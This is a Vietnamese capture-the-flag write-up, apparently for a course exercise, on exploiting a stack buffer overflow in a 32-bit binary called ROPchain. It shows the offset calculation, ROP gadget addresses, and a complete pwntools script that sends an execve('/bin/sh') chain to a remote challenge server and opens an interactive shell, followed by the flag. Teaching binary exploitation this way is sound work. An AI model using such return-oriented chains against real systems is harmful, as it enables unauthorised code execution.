ROPchain

Vì bài khá giống với ROPbasic trên lớp nên sẽ bỏ qua bước xem file và checksec

ROPchain.c

A screenshot of a computer

Description automatically generated with medium confidence

Tại hàm main của ROPchain ta thấy được mục tiêu ở đây sẽ khai thác vào hàm vunl

Graphical user interface, text, application, email

Description automatically generated

Khi dùng IDA ta thấy buffer ở hàm vunl có độ dài buffer là 0x88

Graphical user interface, text

Description automatically generated

Như đã biết thì nếu ta muốn ghi đè luôn của return address thì ta cần thêm 0x4 nữa nên ta sẽ cần 0x88 + 0x4 =0x8c đổi ra Dec sẽ là 140

Bước tiếp theo ta sử dụng ROPgadget để tìm các gadget để exploit.

Text

Description automatically generated

* eax

Text

Description automatically generated

Ta sẽ chọn 0x080a89e6 # pop eax; ret

* edx, ecx, ebx

Text

Description automatically generated

Tiếp theo sẽ là đến string /bin/sh

Graphical user interface

Description automatically generated with low confidence

Và cuối cùng sẽ là đến int

A picture containing diagram

Description automatically generated

Khi đã có đầy đủ kích thước, các gadget thì ta seur dụng code payload mà thầy đã cung cấp từ trước ta có code:

from pwn import \*

#p = process('./ROPchain')

p = remote('45.122.249.68', 10002)

print(p.recvuntil(':\n'))

payload = b'A'\*140

payload += p32(0x080a89e6) #pop eax ; ret

payload += p32(0xb)

payload += p32(0x0806e051) #pop edx ; pop ecx ; pop ebx ; ret

payload += p32(0)

payload += p32(0)

payload += p32(0x080d9068) # /bin/sh

payload += p32(0x080495a3) #int 0x80

p.sendline(payload)

p.interactive()

và kết quả:

Text

Description automatically generated

Flag: flag{dung\_thay\_hoa\_no\_ma\_ngo\_xuan\_ve}